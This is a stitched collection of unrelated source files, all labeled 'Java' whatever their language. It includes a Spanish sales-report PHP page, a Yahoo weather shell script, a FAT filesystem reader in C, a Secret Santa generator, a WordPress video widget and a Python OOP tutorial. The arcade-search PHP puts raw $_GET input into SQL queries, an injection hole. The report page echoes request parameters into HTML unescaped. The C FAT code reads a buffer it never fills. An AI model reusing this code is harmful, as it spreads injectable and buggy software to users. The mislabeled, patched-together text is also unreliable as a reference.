if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte por Plan</a></li>
<!-- Link a Panel Historico -->
<li><a id="historico" href="../../../ingresos/historico/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Histórico</a></li>
<li role="separator" class="divider"></li>
<li class="dropdown-header">Reporte de Ingresos por Canal</li>
<li><a class="tipo_venta" href="../index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Ingresos Tipo Venta</a></li>
<li><a id="tipo_pago" href="../../tipo_pago/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Reporte Ingresos Tipo Pago</a></li>
<li role="separator" class="divider"></li>
<li><a href="#">Reporte de Indicadores</a></li>
</ul>
</div>
</div>
<div class="col-lg-1" style="width: 20%;">
<select name="month" id="month" title="Mes" class="selectpicker" data-style="btn btn-default btn-sm" data-width="100px" onchange="change_date();">
<?php
$meses = array("Enero", "Febrero", "Marzo", "Abril", "Mayo", "Junio", "Julio", "Agosto", "Septiembre", "Octubre", "Noviembre", "Diciembre");
$cant_meses = count($meses);
if(isset($_GET['month'])){
$mes = $_GET['month'] - 1;
for ($i = 0; $i < $cant_meses; $i++) {
$month_number = $i + 1;
if (strlen($month_number) < 2)
$month_number = "0" . $month_number;
if ($mes == $i)
echo "<option value='$month_number' selected='selected'>" . $meses[$i] . "</option>";
else
echo "<option value='$month_number'>" . $meses[$i] . "</option>";
}
}else{
$mes_actual = date("m") - 1;
for ($i = 0; $i < $cant_meses; $i++) {
$month_number = $i + 1;
if (strlen($month_number) < 2)
$month_number = "0" . $month_number;
if ($mes_actual == $i)
echo "<option value='$month_number' selected='selected'>" . $meses[$i] . "</option>";
else
echo "<option value='$month_number'>" . $meses[$i] . "</option>";
}
}
?>
</select>
<select name="year" id="year" title="Año" class="selectpicker" data-style="btn btn-default btn-sm" data-width="100px" onchange="change_date();">
<?php
$first_year = 2015;
$last_year = date("Y");
if(isset($_GET['year'])){
$this_year = $_GET['year'];
for ($i = $first_year; $i <= $last_year; $i++) {
if ($i == $this_year)
echo "<option value='$i' selected='selected'>$i</option>";
else
echo "<option value='$i'>$i</option>";
}
}else {
for ($i = $first_year; $i <= $last_year; $i++) {
if ($i == $last_year)
echo "<option value='$i' selected='selected'>$i</option>";
else
echo "<option value='$i'>$i</option>";
}
}
?>
</select>
</div>
<!-- Div para selección de filtro -->
<div class="col-lg-2">
<div class="dropdown">
<button class="btn btn-default btn-sm dropdown-toggle" type="button" id="dropdownMenu2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="true">
Seleccione Filtro
<span class="caret"></span>
</button>
<ul class="dropdown-menu" aria-labelledby="dropdownMenu2">
<!-- Link a Panel Historico (Sin Filtro) -->
<li><a class="tipo_venta" href="../index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>">Sin Filtro</a></li>
<!-- Link a Panel Historico -->
<li><a id="filtro_depto" href="../por_departamento/index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>&depto=601">Por Departamento</a></li>
<li><a id="filtro_negocio_division" href="index.php?month=<?php
if(isset($_GET['month']))
echo $_GET['month'];
else
echo date(" m ");?>&year=<?php
if(isset($_GET['year']))
echo $_GET['year'];
else
echo date("Y ");?>&neg_div=<?php
if(isset($_GET['neg_div']))
echo $_GET['neg_div'];
else
echo "VESTUARIO";?>">Por Negocio / División</a></li>
</ul>
</div>
</div>
<div class="col-lg-2" style="width: 20%;">
<select name="neg_div" id="neg_div" class="selectpicker" data-style="btn btn-default btn-sm" onchange="change_date();">
<?php
if(isset($_GET['neg_div'])){
$neg_div_selected = $_GET['neg_div'];
$query = "select distinct negocio from depto where negocio <> ''";
$res = $con->query($query);
echo "<optgroup label='Negocios'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['negocio'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
$query = "select distinct division from depto where division <> ''";
$res = $con->query($query);
echo "<optgroup label='Divisiones'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['division'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
}else{
$query = "select distinct negocio from depto where negocio <> ''";
$res = $con->query($query);
$i = 0;
echo "<optgroup label='Negocios'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['negocio'];
if($i == 0)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
$i++;
}
echo "</optgroup>";
$query = "select distinct division from depto where division <> ''";
$res = $con->query($query);
echo "<optgroup label='Divisiones'>";
while($row = mysqli_fetch_assoc($res)){
$neg_div = $row['division'];
if($neg_div_selected == $neg_div)
echo "<option value='$neg_div' selected='selected'>$neg_div</option>";
else
echo "<option value='$neg_div'>$neg_div</option>";
}
echo "</optgroup>";
}
?>
</select>
</div>
<div class="col-lg-1 col-md-1 col-sm-1" style="width: 140px;" id="act">
<button class="btn btn-primary btn-sm" style="width: 100px;">Actualizar</button>
</div>
</form>
</div>
</nav>
</header>
<table class='table table-bordered table-condensed table-hover'>
<thead>
<tr>
<th rowspan="3" style="background: white;">
<h6 class="text-center"><b>Fecha</b></h6></th>
<th colspan="15" rowspan="1" style="background-color: #35388E; color: white;">
<h6 class="text-center"><b>Ingresos Tipo de Venta</b></h6></th>
</tr>
<tr>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Sitio</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Fonocompras</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Empresa</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Ingresos Puntos Cencosud</b></h6></th>
<th rowspan="1" colspan="3" style="background-color: #E0E1EE;">
<h6 class="text-center"><b>Total</b></h6></th>
</tr>
<tr>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style='background-color: #E0E1EE;'>
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Actual</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>$ Anterior</b></h6></th>
<th style="background-color: #E0E1EE;">
<h6 class="text-center"><b>% R/Past</b></h6></th>
</tr>
</thead>
<?php
require_once '../../paneles.php';
if(isset($_GET['month']) && isset($_GET['year']) && isset($_GET['neg_div'])){
$month = $_GET['month'];
$year = $_GET['year'];
$neg_div = $_GET['neg_div'];
tipo_venta_por_negocio_division($month, $year, $neg_div, $con);
}else{
$month = date("m");
$year = date("Y");
$neg_div = 'VESTUARIO';
tipo_venta_por_negocio_division($month, $year, $neg_div, $con);
}
?>
</table>
<script src="../../../bootstrap-3.3.6-dist/js/bootstrap.min.js"></script>
<script src="../../../bootstrap-select-1.9.4/js/bootstrap-select.js"></script>
</body>
</html> | Java |
#!/bin/sh
ring_col=`echo White`
convert=`echo /usr/local/bin/convert`
c=`cat ~/Documents/CIRCLE/CONFIG | grep 'WEATHER_CODE' | tail -n1 | awk '{print $2}'`;
url=`echo "http://xml.weather.yahoo.com/forecastrss?p=$c&u=c"`;
strx=`curl --silent "$url" | grep -E '(Current Conditions:|C<BR)' | sed -e 's/Current Conditions://' -e 's/<br \/>//' -e 's/<b>//' -e 's/<\/b>//' -e 's/<BR \/>//' -e 's/<description>//' -e 's/<\/description>//' -e 's/,//' | tail -n1 | tr '[:lower:]' '[:upper:]'`;
i=`echo ${#strx}`;
let y=$i-4;
$convert -size 200x200 xc:transparent -stroke ${ring_col} -strokewidth 10 -fill none -draw "arc 190,190 10,10 0,360" /tmp/weather-ring.png
echo "\033[1;37m${strx:0:$y}\033[0m\c"
printf "\n"
| Java |
Code Kata: Leapfrog Puzzle
===============
Puzzle: Imagine you have a list of numbers, each number represents a 'jump code' to tell you how many steps forwards or backwards you must jump relative to your current space.
Given a list of such numbers calculate how many jumps it will take to leave the list. If the list falls into an infinite loop, return -1
For example:
Given the list 2,3,-1,1,3 it will take four jumps to leave the list.
- Starting at the first space (ie the 2)
- 1st hop: Jump 2 spaces to the -1
- 2nd hop: Jump back one space to the 3
- 3rd hop: Jump forwards 3 spaces to the three at the end
- 4th hop: Attempt to jump three spaces... and leave the list
| Java |
#ifndef _GOALUNDO_H_
#define _GOALUNDO_H_
#include <stack>
#include <queue>
#include <string>
class GoalUndo
{
public:
void undoGoal();
void undoOperation();
void undoOperation(std::string);
std::string getOperations();
std::string getGoal();
void addOperation(std::string, std::string);
void addOperation(std::string);
private:
struct Goal{
std::string name;
std::vector <std::string> operations;
};
std::stack <Goal> goals;
};
#endif | Java |
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Random;
/**
* Randomly generates Secret Santa assignments for a given group.
* <p>
* All valid possible assignments are equally likely to be generated (uniform distribution).
*
* @author Michael Zaccardo (mzaccardo@aetherworks.com)
*/
public class SecretSanta {
private static final Random random = new Random();
private static final String[] DEFAULT_NAMES = { "Rob", "Ally", "Angus", "Mike", "Shannon", "Greg", "Lewis", "Isabel" };
public static void main(final String[] args) {
final String[] names = getNamesToUse(args);
final List<Integer> assignments = generateAssignments(names.length);
printAssignmentsWithNames(assignments, names);
}
private static String[] getNamesToUse(final String[] args) {
if (args.length >= 2) {
return args;
} else {
System.out.println("Two or more names were not provided -- using default names.\n");
return DEFAULT_NAMES;
}
}
private static List<Integer> generateAssignments(final int size) {
final List<Integer> assignments = generateShuffledList(size);
while (!areValidAssignments(assignments)) {
Collections.shuffle(assignments, random);
}
return assignments;
}
private static List<Integer> generateShuffledList(final int size) {
final List<Integer> list = new ArrayList<>(size);
for (int i = 0; i < size; i++) {
list.add(i);
}
Collections.shuffle(list, random);
return list;
}
private static boolean areValidAssignments(final List<Integer> assignments) {
for (int i = 0; i < assignments.size(); i++) {
if (i == assignments.get(i)) {
return false;
}
}
return true;
}
private static void printAssignmentsWithNames(final List<Integer> assignments, final String[] names) {
for (int i = 0; i < assignments.size(); i++) {
System.out.println(names[i] + " --> " + names[assignments.get(i)]);
}
}
} | Java |
#include "fat.h"
#include "disk.h"
#include "malloc.h"
void read_fs(struct fat_fs *b) {
read_sector((unsigned char *) &(b->bpb), 0, 0);
b->total_sectors = b->bpb.n_sectors;
b->fat_size = b->bpb.spf;
b->root_size = ((b->bpb.n_dirents * 32)
+ (b->bpb.bps - 1)) / b->bpb.bps;
b->first_data = b->bpb.n_hidden
+ (b->bpb.n_fats * b->fat_size)
+ b->root_size;
b->first_fat = b->bpb.n_hidden;
b->total_data = b->total_sectors
- (b->bpb.n_hidden
+ (b->bpb.n_fats * b->fat_size)
+ b->root_size);
b->total_clusters = b->total_data / b->bpb.spc;
}
struct fat_dirent *read_root_directory(struct fat_fs *b) {
struct fat_dirent *r = malloc(sizeof(struct fat_dirent) * b->bpb.n_dirents);
unsigned char *data = (unsigned char *) r;
unsigned int sector = b->first_data - b->root_size + 1;
unsigned int i;
for(i = 0; i < b->root_size; i++)
read_sector(data + (i * 512), 0, sector + i);
return r;
}
void parse_filename(char fname[11], char name[9], char ext[4]) {
int i;
for(i = 0; i < 8; i++) {
name[i] = fname[i];
if(fname[i] == ' ') {
name[i] = 0;
break;
}
}
for(i = 0; i < 3; i++)
ext[i] = fname[i + 8];
name[8] = ext[3] = 0;
}
unsigned int sector_from_fat(struct fat_fs *b, unsigned short fat_offset) {
unsigned char *fat = malloc(b->fat_size * b->bpb.bps);
unsigned short cluster;
unsigned int r;
cluster = fat[fat_offset];
cluster |= fat[fat_offset + 1];
if(cluster >= 0xFFF8) r = -1;
else r = cluster * b->bpb.spc;
free(fat);
return r;
}
| Java |
<?php
include '../test/connect.php';
$conn = mysql_connect($dbhost,$dbuser,$dbpass)
or die ('Error connecting to mysql');
mysql_select_db($dbname);
if(isset($_GET['query'])) { $query = $_GET['query']; } else { $query = ""; }
if(isset($_GET['type'])) { $type = $_GET['type']; } else { $query = "count"; }
if($type == "count"){
$sql = mysql_query("SELECT count(gameid) FROM arcade_games WHERE MATCH(shortname, description, title) AGAINST('$query*' IN BOOLEAN MODE)");
$total = mysql_fetch_array($sql);
$num = $total[0];
echo $num;
}
?>
<table width="300px">
<?php
if($type == "results"){
$sql = mysql_query("SELECT shortname, title, description FROM arcade_games WHERE MATCH(shortname, title, description) AGAINST('$query*' IN BOOLEAN MODE)");
while($result_ar = mysql_fetch_array($sql)) {
$id = $result_ar['gameid'];
$squery = sprintf("SELECT * FROM arcade_highscores WHERE gamename = ('%s') ORDER by score DESC",
$id);
$sresult = mysql_query($squery);
$sresult_ar = mysql_fetch_assoc($sresult);
$image = $result_ar['stdimage'];
$name = $result_ar['shortname'];
$file = $result_ar['file'];
$width = $result_ar['width'];
$height = $result_ar['height'];
$champ = $sresult_ar['username'];
$cscore = $sresult_ar['score'];
?>
<tr>
<td><?php echo "<img src='http://www.12daysoffun.com/hustle/arcade/images/$image' />";?></td>
<td><?php echo ucwords($name);
echo "<br />";
echo"<a href='#' onClick=\"parent.location.href='gamescreen.php?game=$file&width=$width&height=$height'\">PLAY</a>";
?></td>
<td><?php
if ($result_ar['gameid'] = $sresult_ar['gamename']){
echo "<b>Champion: </b>";
echo $champ;
echo "<br />";
echo "High Score: ";
echo $cscore;
}else{
$champ = "None";
$cscore = 0;
echo "<b>Champion: </b>";
echo "none";
echo "<br />";
echo "High Score: ";
echo 0;
}
?> </td>
</tr>
<?php
$i+=1;
} //while
?>
</table>
<?
}
mysql_close($conn);
?> | Java |
/* Taken from bootstrap: https://github.com/twitter/bootstrap/blob/master/less/tooltip.less */
.fade {
opacity: 0;
-webkit-transition: opacity 0.15s linear;
-moz-transition: opacity 0.15s linear;
-ms-transition: opacity 0.15s linear;
-o-transition: opacity 0.15s linear;
transition: opacity 0.15s linear;
}
.fade.in {
opacity: 1;
}
.tooltip {
position: absolute;
z-index: 1020;
display: block;
padding: 5px;
font-size: 11px;
opacity: 0;
filter: alpha(opacity=0);
visibility: visible;
}
.tooltip.in {
opacity: 0.8;
filter: alpha(opacity=80);
}
.tooltip.top {
margin-top: -2px;
}
.tooltip.right {
margin-left: 2px;
}
.tooltip.bottom {
margin-top: 2px;
}
.tooltip.left {
margin-left: -2px;
}
.tooltip.top .arrow {
bottom: 0;
left: 50%;
margin-left: -5px;
border-top: 5px solid #000000;
border-right: 5px solid transparent;
border-left: 5px solid transparent;
}
.tooltip.left .arrow {
top: 50%;
right: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-bottom: 5px solid transparent;
border-left: 5px solid #000000;
}
.tooltip.bottom .arrow {
top: 0;
left: 50%;
margin-left: -5px;
border-right: 5px solid transparent;
border-bottom: 5px solid #000000;
border-left: 5px solid transparent;
}
.tooltip.right .arrow {
top: 50%;
left: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-right: 5px solid #000000;
border-bottom: 5px solid transparent;
}
.tooltip-inner {
max-width: 200px;
padding: 3px 8px;
color: #ffffff;
text-align: center;
text-decoration: none;
background-color: #000000;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
.arrow {
position: absolute;
width: 0;
height: 0;
}
.popover {
position: absolute;
top: 0;
left: 0;
z-index: 1010;
display: none;
padding: 5px;
}
.popover.top {
margin-top: -5px;
}
.popover.right {
margin-left: 5px;
}
.popover.bottom {
margin-top: 5px;
}
.popover.left {
margin-left: -5px;
}
.popover.top .arrow {
bottom: 0;
left: 50%;
margin-left: -5px;
border-top: 5px solid #000000;
border-right: 5px solid transparent;
border-left: 5px solid transparent;
}
.popover.right .arrow {
top: 50%;
left: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-right: 5px solid #000000;
border-bottom: 5px solid transparent;
}
.popover.bottom .arrow {
top: 0;
left: 50%;
margin-left: -5px;
border-right: 5px solid transparent;
border-bottom: 5px solid #000000;
border-left: 5px solid transparent;
}
.popover.left .arrow {
top: 50%;
right: 0;
margin-top: -5px;
border-top: 5px solid transparent;
border-bottom: 5px solid transparent;
border-left: 5px solid #000000;
}
.popover-inner {
width: 280px;
padding: 3px;
overflow: hidden;
background: #000000;
background: rgba(0, 0, 0, 0.8);
-webkit-border-radius: 6px;
-moz-border-radius: 6px;
border-radius: 6px;
-webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);
-moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);
box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3);
}
.popover-title {
padding: 5px 10px 0px;
line-height: 1;
background-color: #f5f5f5;
border-bottom: 1px solid #eee;
-webkit-border-radius: 3px 3px 0 0;
-moz-border-radius: 3px 3px 0 0;
border-radius: 3px 3px 0 0;
margin: 0;
}
.popover-content {
padding: 5px 10px;
line-height: 1;
background-color: #ffffff;
-webkit-border-radius: 0 0 3px 3px;
-moz-border-radius: 0 0 3px 3px;
border-radius: 0 0 3px 3px;
-webkit-background-clip: padding-box;
-moz-background-clip: padding-box;
background-clip: padding-box;
}
.popover-content p,
.popover-content ul,
.popover-content ol {
margin-bottom: 0;
}
| Java |
package com.google.gson;
import com.google.gson.stream.JsonReader;
import com.google.gson.stream.JsonWriter;
class Gson$FutureTypeAdapter<T> extends TypeAdapter<T>
{
private TypeAdapter<T> delegate;
public T read(JsonReader paramJsonReader)
{
if (this.delegate == null)
throw new IllegalStateException();
return this.delegate.read(paramJsonReader);
}
public void setDelegate(TypeAdapter<T> paramTypeAdapter)
{
if (this.delegate != null)
throw new AssertionError();
this.delegate = paramTypeAdapter;
}
public void write(JsonWriter paramJsonWriter, T paramT)
{
if (this.delegate == null)
throw new IllegalStateException();
this.delegate.write(paramJsonWriter, paramT);
}
}
/* Location: E:\Progs\Dev\Android\Decompile\apktool\zssq\zssq-dex2jar.jar
* Qualified Name: com.google.gson.Gson.FutureTypeAdapter
* JD-Core Version: 0.6.0
*/ | Java |
<?php
class EtendardVideo extends WP_Widget{
private $error = false;
private $novideo = false;
public function __construct(){
parent::__construct(
'EtendardVideo',
__('Etendard - Video', 'etendard'),
array('description'=>__('Add a video from Youtube, Dailymotion or Vimeo.', 'etendard'))
);
}
public function widget($args, $instance){
echo $args['before_widget'];
?>
<?php if (isset($instance['title']) && !empty($instance['title'])){
echo $args['before_title'] . apply_filters( 'widget_title', $instance['title'] ) . $args['after_title'];
} ?>
<?php if (isset($instance['video_link']) && $instance['video_link']!=""){ ?>
<div class="widget-video">
<?php echo wp_oembed_get($instance['video_link'], array('width'=>287)); ?>
</div>
<?php }else{ ?>
<p><?php _e('To display a video, please add a Youtube, Dailymotion or Vimeo URL in the widget settings.', 'etendard'); ?></p>
<?php } ?>
<?php
echo $args['after_widget'];
}
public function form($instance){
if ($this->error){
echo '<div class="error">';
_e('Please enter a valid url', 'etendard');
echo '</div>';
}
if ($this->novideo){
echo '<div class="error">';
_e('This video url doesn\'t seem to exist.', 'etendard');
echo '</div>';
}
$fields = array("title" => "", "video_link" => "");
if ( isset( $instance[ 'title' ] ) ) {
$fields['title'] = $instance[ 'title' ];
}
if ( isset( $instance[ 'video_link' ] ) ) {
$fields['video_link'] = $instance[ 'video_link' ];
}
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:', 'etendard' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $fields['title'] ); ?>">
</p>
<p>
<label for="<?php echo $this->get_field_id( 'video_link' ); ?>"><?php _e( 'Video URL (Youtube, Dailymotion or Vimeo):', 'etendard' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'video_link' ); ?>" name="<?php echo $this->get_field_name( 'video_link' ); ?>" type="url" value="<?php echo esc_attr( $fields['video_link'] ); ?>">
</p>
<?php
}
public function update($new_instance, $old_instance){
$new_instance['title'] = ( ! empty( $new_instance['title'] ) ) ? strip_tags( $new_instance['title'] ) : '';
// Check the video link
if(isset($new_instance['video_link']) && !empty($new_instance['video_link']) && !filter_var($new_instance['video_link'], FILTER_VALIDATE_URL)){
$new_instance['video_link'] = $old_instance['video_link'];
$this->error = true;
}else{
if(!wp_oembed_get($new_instance['video_link'])){
$new_instance['video_link'] = $old_instance['video_link'];
$this->novideo = true;
}else{
$new_instance['video_link'] = ( ! empty( $new_instance['video_link'] ) ) ? strip_tags( $new_instance['video_link'] ) : '';
}
}
return $new_instance;
}
}
if (!function_exists('etendard_video_widget_init')){
function etendard_video_widget_init(){
register_widget('EtendardVideo');
}
}
add_action('widgets_init', 'etendard_video_widget_init');
| Java |
<?php $canon_options_frame = get_option('canon_options_frame'); ?>
<div class="outter-wrapper post-footer feature">
<div class="wrapper">
<div class="clearfix">
<div class="foot left"><?php echo $canon_options_frame['footer_text'] ?></div>
<div class="foot right">
<?php
if ($canon_options_frame['show_social_icons'] == "checked") {
get_template_part('inc/templates/header/template_header_element_social');
}
?>
</div>
</div>
</div>
</div>
| Java |
<!DOCTYPE html>
<html lang="en-ca">
<head>
<meta charset="utf-8">
<title>Mars · Planets of the Universe</title>
<link href="/css/main.css" rel="stylesheet">
<meta name="description" content="Mars is the fourth planet from the Sun and the second smallest planet in the Solar System.">
</head>
<body>
<header class="masthead ">
<h1>Planets of the Universe</h1>
<nav>
<ul class="nav nav-top">
<li><a href="/" class="">Home</a></li>
<li><a href="/planets/" class="current">Planets</a></li>
<li><a href="/news/" class="">News</a></li>
</ul>
</nav>
</header>
<strong>Planets</strong>
<nav>
<ul>
<li>
<a href="/planets/dwarf/" class="">Dwarf</a>
</li>
<li>
<a href="/planets/terrestrial/" class="current">Terrestrial</a>
</li>
<li>
<a href="/planets/gas-giant/" class="">Gas Giant</a>
</li>
</ul>
</nav>
<h1>Mars</h1>
<img src="/img/planets/mars.jpg" alt="Photo of Mars">
<dl>
<dt>Discoverer:</dt><dd>Galileo Galilei</dd>
<dt>Discovered:</dt><dd>1610</dd>
<dt>Orbital Period:</dt><dd>686 days</dd>
<dt>Mean Radius:</dt><dd>3396 km</dd>
<dt>Axial Tilt:</dt><dd>25°</dd>
</dl>
<p><em>Mars</em> is the fourth planet from the Sun and the second smallest planet in the Solar System. Mars is a terrestrial planet with a thin atmosphere, having surface features reminiscent both of the impact craters of the Moon and the volcanoes, valleys, deserts, and polar ice caps of Earth.</p>
<footer>
<nav>
<ul class="nav nav-bottom">
<li><a href="/" class="">Home</a></li>
<li><a href="/planets/" class="current">Planets</a></li>
<li><a href="/news/" class="">News</a></li>
</ul>
</nav>
<p>© 2013 Planets of the Universe</p>
</footer>
</body>
</html>
| Java |
package com.smartgwt.mobile.client.widgets;
import com.google.gwt.resources.client.ImageResource;
public abstract class Action {
private ImageResource icon;
private int iconSize;
private String title;
private String tooltip;
public Action(String title) {
this.title = title;
}
public Action(ImageResource icon) {
this.icon = icon;
}
public Action(String title, ImageResource icon) {
this(title);
this.icon = icon;
}
public Action(String title, ImageResource icon, int iconSize) {
this(title, icon);
this.iconSize = iconSize;
}
public Action(String title, ImageResource icon, int iconSize, String tooltip) {
this(title, icon, iconSize);
this.tooltip = tooltip;
}
public final ImageResource getIcon() {
return icon;
}
public final int getIconSize() {
return iconSize;
}
public final String getTitle() {
return title;
}
public final String getTooltip() {
return tooltip;
}
public abstract void execute(ActionContext context);
}
| Java |
class Enrollment < ActiveRecord::Base
belongs_to :student
belongs_to :course
end
| Java |
import os
import sys
import string
import random
import math
#################################################
# State
balance = 0
def deposit(amount):
global balance
balance += amount
return balance
def withdraw(amount):
global balance
balance -= amount
return balance
#################################################
# Dict like
def make_account():
return {'balance': 0}
def deposit(account, amount):
account['balance'] += amount
return account['balance']
def withdraw(account, amount):
account['balance'] -= amount
return account['balance']
# >>> a = make_account()
# >>> b = make_account()
# >>> deposit(a, 100)
# 100
# >>> deposit(b, 50)
# 50
# >>> withdraw(b, 10)
# 40
# >>> withdraw(a, 10)
# 90
#################################################
# Class
class BankAccount:
def __init__(self, balance=0):
self.balance = balance
def withdraw(self, amount):
self.balance -= amount
return self.balance
def deposit(self, amount):
self.balance += amount
return self.balance
# >>> a = BankAccount()
# >>> b = BankAccount()
# >>> a.deposit(100)
# 100
# >>> b.deposit(50)
# 50
# >>> b.withdraw(10)
# 40
# >>> a.withdraw(10)
# 90
#################################################
# Inheritance
class MinimumBalanceAccount(BankAccount):
def __init__(self, minimum_balance):
BankAccount.__init__(self)
self.minimum_balance = minimum_balance
def withdraw(self, amount):
if self.balance - amount < self.minimum_balance:
print('Sorry, minimum balance must be maintained.')
else:
BankAccount.withdraw(self, amount)
# >>> a = MinimumBalanceAccount(0)
# >>> a.deposit(100)
# 100
# >>> b.withdraw(101)
# 'Sorry, minimum balance must be maintained.'
########################################
# Mangling, Exceptions
def generate_id(n=16):
alphabet = string.ascii_letters + string.digits
return ''.join(random.choice(alphabet) for _ in range(n))
class WithdrawError(Exception):
"""Not enough money"""
def __init__(self, amount):
super().__init__()
self.amount = amount
class AdvancedBankAccount:
MAX_BALANCE = 2 ** 64
def __init__(self):
self._balance = 0
self.__id = generate_id()
def withdraw(self, amount):
if not isinstance(amount, int):
raise ValueError
if self._balance < amount:
raise WithdrawError(amount)
self._balance -= amount
return self._balance
def deposit(self, amount):
self._balance += amount
return self._balance
def get_max_balance():
return AdvancedBankAccount.MAX_BALANCE
if __name__ == '__main__':
a = AdvancedBankAccount()
b = a
c = AdvancedBankAccount()
a.deposit(10)
# AdvancedBankAccount.deposit(a, 10) # the same
print('UNACCEPTABLE! b balance:', b._balance)
# print(b.__id) # error, name mangling
a.get_id = lambda self: self.__id
# print(a.get_id()) # TypeError
# print(a.get_id(a)) # AttributeError
################################################
# UNACCEPTABLE!
print("UNACCEPTABLE! b id:", b._AdvancedBankAccount__id) # name unmangling
# static
AdvancedBankAccount.MAX_BALANCE = 2 ** 32
print('max balance:', AdvancedBankAccount.get_max_balance())
a.MAX_BALANCE = 2 ** 64
print('a max: {}, c max: {}'.format(a.MAX_BALANCE,
c.MAX_BALANCE))
################################################
# Exceptions
# in module import
try:
a.withdraw("100")
except:
pass
# UNACCEPTIBLE!
try:
a.withdraw(100)
except WithdrawError as e:
pass
try:
a.withdraw(100)
except (ValueError, WithdrawError) as e:
print('exception raised')
else:
print('no exception')
finally:
print('Finally')
def tricky():
try:
print('Tricky called')
return 1
finally:
print('Tricky finally called')
return 42
return 0
print(tricky())
# how about with statement?
# module is object -> import
class Shape:
def area(self):
raise NotImplementedError
class Circle(Shape):
def __init__(self, radius):
self.radius = radius
def area(self):
return math.pi * self.radius ** 2
class Square(Shape):
def __init__(self, side):
self.side = side
def area(self):
return self.side ** 2
if __name__ == "__main__":
a = [Square(10), Circle(2)]
s = sum(s.area() for s in a)
print(s)
| Java |
//------------------------------------------------------------------------------
// <auto-generated>
// 此代码由工具生成。
// 运行时版本: 2.0.50727.42
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将丢失。
// </auto-generated>
//------------------------------------------------------------------------------
namespace Maticsoft.Web
{
public partial class ValidateCode
{
/// <summary>
/// form1 控件。
/// </summary>
/// <remarks>
/// 自动生成的字段。
/// 若要进行修改,请将字段声明从设计器文件移到代码隐藏文件。
/// </remarks>
protected global::System.Web.UI.HtmlControls.HtmlForm form1;
}
}
| Java |
'use strict';
var app = angular.module('App', ['App.controller']);
| Java |
{% extends "base.html" %}
{% block content %}
<div class="row" ng-controller="HomepageController">
<div class="posts">
<ul>
<div class="post" ng-repeat="post in posts">
<heading ng-bind="post.title"></heading>
<content ng-bind="post.content"></content>
</div>
<div class="navbar-form">
<input type="text" ng-model="input_post.title">
<input type="text" ng-model="input_post.content">
<button ng-click="createPost(input_post.title, input_post.content)" type="submit" class="btn">Create Post</button>
</div>
</ul>
</div>
<aside class="subreddits">
<uib-tabset vertical="true" type="pills">
<uib-tab heading="global" select="refreshPosts('global')"></uib-tab>
